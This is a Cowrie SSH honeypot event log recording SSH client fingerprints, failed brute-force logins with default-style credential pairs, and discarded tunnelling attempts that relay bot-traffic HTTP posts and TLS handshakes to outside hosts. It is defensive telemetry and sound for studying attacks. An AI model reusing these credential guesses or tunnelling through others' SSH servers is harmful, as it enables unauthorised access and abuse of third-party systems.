{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:14:08.555378Z","src_ip":"91.92.40.36","session":"c5a54ed0d25c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"plt","password":"plt","message":"login attempt [plt/plt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:14:12.621067Z","src_ip":"91.92.40.36","session":"5450d878c087","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nagios","password":"nagios1","message":"login attempt [nagios/nagios1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:14:13.483365Z","src_ip":"91.92.40.36","session":"c5a54ed0d25c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.9","message":"Connection lost after 8.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:14:15.289343Z","src_ip":"91.92.40.36","session":"c5a54ed0d25c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.3","message":"Connection lost after 13.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:14:15.476366Z","src_ip":"91.92.40.36","session":"5450d878c087","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":19024,"dst_ip":"159.203.135.109","dst_port":22,"session":"10055e3145f2","protocol":"ssh","message":"New connection: 91.92.40.36:19024 (159.203.135.109:22) [session: 10055e3145f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:14:18.660140Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:14:19.264645Z","src_ip":"91.92.40.36","session":"10055e3145f2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:14:19.432122Z","session":"f84ef4774695","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:14:19.437073Z","session":"f84ef4774695","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:14:19.493500Z","src_ip":"23.175.50.51","session":"f84ef4774695","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/604.2.4 (KHTML, like Gecko) Version/9.1.2 Safari/604.2.4\\r\\nConnection: keep-alive\\r\\nContent-Length: 1184\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=ZFN5MjBrQigrcz51JHIyZQ%3D%3D9XgyWLcZ6xJev7SHZ2A88mjLmE2bON9o%2FTlMisRD6duckQZwd7dPXFr9TPGguWH%2FFWoWNnB8Rj80mdNtmeexyE0kb0Hx0qBsQMtMNJn8UZXkNxM4ysGPAtkezcVOVoR%2BYOkVUgLGM9z33n4ZCCTgeSc1jQSkADOvV7dtP02C28qnTp9mFU8PRfrWSDq0AdHeeGIwP71rZBf82QatJTM0zlDWpaS3TFarI73Uik41925zeCAOdXnTP%2BBMRPcMQdoXXOjerRufkHXxuoH7vO9tLWEmEWggwssdcy7Zjce2cMIbX2EEWIPH1qTrflb3WZwW%2B9FlVUN85XSM%2F%2FG7Z8VWZvEQSLiJDpda0EfZdC6uBJGwiFUjEuhfvkj5lu8nWfT7mClhKIZLp1JbfLjK%2FCv8IwDO9bsFf5H9Z%2FM4Emvp3iLfKvgF6gBAvurJX0fSYYr%2BJzZi4nRKFQARnzF15votnOBD1t%2Bkkd1Gyoxoq4J%2BcPnRGGiNyflUs6RDwC6O49RSqT4w57d0Y72ob1kWHJNOwxyhFV%2BERdGikjY%2Fp1ol%2Bj0XIRf0sPttTwVoQZ9JzHMhBjtj8vjCP64czMY87ywsizwNzpqbvJAsEsZSfYeWbmB5lDfbSfCRmKJBnuyr8mtjn%2F%2FiQKssKiJw%2FPLinunSIAS6d3AgL%2FOAIhooyrJj9DyTWgWkVJxzLL41KWza6K7Urn%2FXoXz7IY7kD8vE2A%2Fkd6VHwJl1gR0tlwdFqHt31IVo%2B31GHmyoVfRXehatxewlhBRQfA9S2L3P3IOmRq1BbwU4Il8Rt%2FtJoXr%2FoT1Ts0sgzYjV%2Fe2BngbbF1HuAwfAz8SM%2B4L3jh3nW9QGlqlzE%2B%2FIQu3C7B0oxLU1KQnMlFdif2eU2ArTMJubpJSOfBbne3adULJbRjqFMyzhKbPgo8Dwkt5Xyc8Q2UMITZNH8dzs7z5PHHAhv6XjMk9sqf2KxIYbuq%2BIU9UQrwKhhHpyz0jC6W%2F6A18DfkV4bOarFFkvGlcs3kjRrFwrt4X7wfll6LtS4i4w%2BZ9z9gzFi9cp4s9Z7tUUHxWII12r0y7l%2BRJXEcZvFh9lO3UGcB%2Bfgkgu'","id":1,"message":"discarded direct-tcp forward request 1 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/604.2.4 (KHTML, like Gecko) Version/9.1.2 Safari/604.2.4\\r\\nConnection: keep-alive\\r\\nContent-Length: 1184\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=ZFN5MjBrQigrcz51JHIyZQ%3D%3D9XgyWLcZ6xJev7SHZ2A88mjLmE2bON9o%2FTlMisRD6duckQZwd7dPXFr9TPGguWH%2FFWoWNnB8Rj80mdNtmeexyE0kb0Hx0qBsQMtMNJn8UZXkNxM4ysGPAtkezcVOVoR%2BYOkVUgLGM9z33n4ZCCTgeSc1jQSkADOvV7dtP02C28qnTp9mFU8PRfrWSDq0AdHeeGIwP71rZBf82QatJTM0zlDWpaS3TFarI73Uik41925zeCAOdXnTP%2BBMRPcMQdoXXOjerRufkHXxuoH7vO9tLWEmEWggwssdcy7Zjce2cMIbX2EEWIPH1qTrflb3WZwW%2B9FlVUN85XSM%2F%2FG7Z8VWZvEQSLiJDpda0EfZdC6uBJGwiFUjEuhfvkj5lu8nWfT7mClhKIZLp1JbfLjK%2FCv8IwDO9bsFf5H9Z%2FM4Emvp3iLfKvgF6gBAvurJX0fSYYr%2BJzZi4nRKFQARnzF15votnOBD1t%2Bkkd1Gyoxoq4J%2BcPnRGGiNyflUs6RDwC6O49RSqT4w57d0Y72ob1kWHJNOwxyhFV%2BERdGikjY%2Fp1ol%2Bj0XIRf0sPttTwVoQZ9JzHMhBjtj8vjCP64czMY87ywsizwNzpqbvJAsEsZSfYeWbmB5lDfbSfCRmKJBnuyr8mtjn%2F%2FiQKssKiJw%2FPLinunSIAS6d3AgL%2FOAIhooyrJj9DyTWgWkVJxzLL41KWza6K7Urn%2FXoXz7IY7kD8vE2A%2Fkd6VHwJl1gR0tlwdFqHt31IVo%2B31GHmyoVfRXehatxewlhBRQfA9S2L3P3IOmRq1BbwU4Il8Rt%2FtJoXr%2FoT1Ts0sgzYjV%2Fe2BngbbF1HuAwfAz8SM%2B4L3jh3nW9QGlqlzE%2B%2FIQu3C7B0oxLU1KQnMlFdif2eU2ArTMJubpJSOfBbne3adULJbRjqFMyzhKbPgo8Dwkt5Xyc8Q2UMITZNH8dzs7z5PHHAhv6XjMk9sqf2KxIYbuq%2BIU9UQrwKhhHpyz0jC6W%2F6A18DfkV4bOarFFkvGlcs3kjRrFwrt4X7wfll6LtS4i4w%2BZ9z9gzFi9cp4s9Z7tUUHxWII12r0y7l%2BRJXEcZvFh9lO3UGcB%2Bfgkgu'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:14:19.497251Z","src_ip":"23.175.50.51","session":"f84ef4774695","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:14:19.509719Z","src_ip":"23.175.50.51","session":"f84ef4774695","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xe3ov(\\xa7L]\\x81\\x1e=\\'.\\xd3\\xbdB\\xe7\\xb77\\x99\\x12t\\xaee)\\x98b\"T\\x07\\xf7\\x89E 6\\xc7c|[\\xdb\\xb0\\xe3\\x91\\x92\\xd8m\\x13\\x17\\xfax\\xda\\xe4\\xc6A\\xdc\\xf4\\x9dZ\\x1c \\x04\\xb4\\xae\\xbc\\xd7\\xdd\\x00 \\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 \\x84\\xdb\\xb6\\x84*\\xf8\\xcd\\xfa\\xb5A\\x05\\xde\\x17\\xa9\\xf3y\\xd16=\\xb0\\x9fiNL\\xb3\\x1d\\xddl\\xf3\\xdc.,\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":0,"message":"discarded direct-tcp forward request 0 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xe3ov(\\xa7L]\\x81\\x1e=\\'.\\xd3\\xbdB\\xe7\\xb77\\x99\\x12t\\xaee)\\x98b\"T\\x07\\xf7\\x89E 6\\xc7c|[\\xdb\\xb0\\xe3\\x91\\x92\\xd8m\\x13\\x17\\xfax\\xda\\xe4\\xc6A\\xdc\\xf4\\x9dZ\\x1c \\x04\\xb4\\xae\\xbc\\xd7\\xdd\\x00 \\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 \\x84\\xdb\\xb6\\x84*\\xf8\\xcd\\xfa\\xb5A\\x05\\xde\\x17\\xa9\\xf3y\\xd16=\\xb0\\x9fiNL\\xb3\\x1d\\xddl\\xf3\\xdc.,\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:14:19.514490Z","src_ip":"23.175.50.51","session":"f84ef4774695","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:14:20.005934Z","session":"f84ef4774695","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:14:20.011108Z","session":"f84ef4774695","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:14:20.066793Z","src_ip":"23.175.50.51","session":"f84ef4774695","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xc48G\\xe4>\\xf4\\xb2\\x86\\xdca\\x84\\xc3`\\xb3\\r993\\x9b\\x82r/\\xe3f\\xcb\\xfe\\x02\\x18\\x7fF\\xb4\\xf6 \\xf3_\\x8c`\\xba\\xba\\xcfr\\xe0\\xae\\xf6\\x82\\xc7\\xe3\\xd0TPm\\x92\\xbb\\xe5\\x86\\x85ad\\x9c\\xfd\\xc4`\\x05>(\\x00 **\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc1%\\x1d\\xaf+\\xf61GN=\\xd0)\\xc5;\\x90\\x14E\\x90\\xadb\\x8bn\\xd1\\x952L\\xb2\\x85=\\xdbZx\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xc48G\\xe4>\\xf4\\xb2\\x86\\xdca\\x84\\xc3`\\xb3\\r993\\x9b\\x82r/\\xe3f\\xcb\\xfe\\x02\\x18\\x7fF\\xb4\\xf6 \\xf3_\\x8c`\\xba\\xba\\xcfr\\xe0\\xae\\xf6\\x82\\xc7\\xe3\\xd0TPm\\x92\\xbb\\xe5\\x86\\x85ad\\x9c\\xfd\\xc4`\\x05>(\\x00 **\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc1%\\x1d\\xaf+\\xf61GN=\\xd0)\\xc5;\\x90\\x14E\\x90\\xadb\\x8bn\\xd1\\x952L\\xb2\\x85=\\xdbZx\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:14:20.069696Z","src_ip":"23.175.50.51","session":"f84ef4774695","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:14:20.074664Z","src_ip":"23.175.50.51","session":"f84ef4774695","protocol":"ssh"}
